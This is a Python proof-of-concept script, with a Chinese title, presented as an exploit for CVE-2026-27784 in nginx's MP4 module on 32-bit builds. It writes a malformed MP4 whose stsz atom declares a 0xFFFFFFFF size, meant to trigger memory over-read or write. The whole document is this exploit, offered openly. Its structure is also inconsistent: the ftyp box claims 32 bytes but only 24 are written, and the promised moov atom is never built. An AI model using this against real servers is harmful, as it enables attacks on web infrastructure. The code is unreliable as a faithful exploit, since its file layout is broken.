CVE-2026-27784 NGINX 32位MP4模块内存读写漏洞

# Proof of Concept (PoC) for CVE-2026-27784 # This script generates a malformed MP4 file designed to trigger the # memory over-read/write vulnerability in 32-bit NGINX. import struct def create_malformed_mp4(filename): # Start with a basic MP4 header # This is a simplified structure to demonstrate the concept data = b'' # ftyp box (standard) data += b'\x00\x00\x00\x20' # Size (32 bytes) data += b'ftyp' data += b'isom' data += b'\x00\x00\x02\x00' data += b'isom' data += b'avc1' # Malformed moov atom to trigger the 32-bit overflow # Setting a very large size or corrupted offset for specific atoms # may cause the ngx_http_mp4_module to miscalculate pointers. malformed_atom_size = 0xFFFFFFFF # Max 32-bit value # Constructing a malformed 'stsz' (Sample Size) atom # Vulnerability often lies in parsing sample tables data += struct.pack('>I', malformed_atom_size) data += b'stsz' data += b'\x00\x00\x00\x00' # Version/Flags data += b'\x00\x00\x00\x01' # Sample size (0 = variable) data += b'\x00\x00\x00\x01' # Sample count # Add padding to ensure file is processed data += b'A' * 1024 with open(filename, 'wb') as f: f.write(data) print(f"Malformed MP4 file created: {filename}") if __name__ == "__main__": create_malformed_mp4("exploit_cve_2026_27784.mp4")